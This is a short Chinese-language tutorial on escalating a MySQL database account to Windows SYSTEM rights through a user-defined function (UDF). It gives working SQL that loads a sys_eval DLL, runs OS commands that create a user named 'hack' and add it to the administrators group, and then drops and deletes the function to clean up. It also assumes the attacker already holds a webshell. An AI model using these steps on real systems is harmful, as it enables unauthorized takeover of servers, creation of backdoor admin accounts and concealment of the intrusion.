0x01 原理
UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限
利用条件
Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。
可以将udf.dll写入到相应目录的权限。
dll链接
进行查看,这个目录也就是dll文件需要导入的目录,我们在拿到webshell后翻到数据库连接信息,蚁剑连接
0x02 前提条件
关于plugin目录,可在mysql中执行
show variables like '%plugin%';
如果是远程的mysql并且有写入权限的话 (用@@secure_file_priv查看)只要返回不是NULL就有写权限,可以在my.ini加入secure_file_priv= 开启
在5.1以上lib下面没有plugin目录所以要我们手工创建
0x03 利用方式
将dll文件导入到相应目录,如果导入错误会产生can`t open shared library错误
创建自定义函数
create function sys_eval returns string soname 'lib_mysqludf_sys_32.dll';
select sys_eval('net user hack yicunyiye123.. /add');
select sys_eval('net localgroup administrators hack /add');
drop function sys_eval; 删除函数
delete from mysql.func where name='sys_eval'; 删除函数
1.创建函数
2.添加账户
3.添加至管理员组
4.删除函数
5.查看用户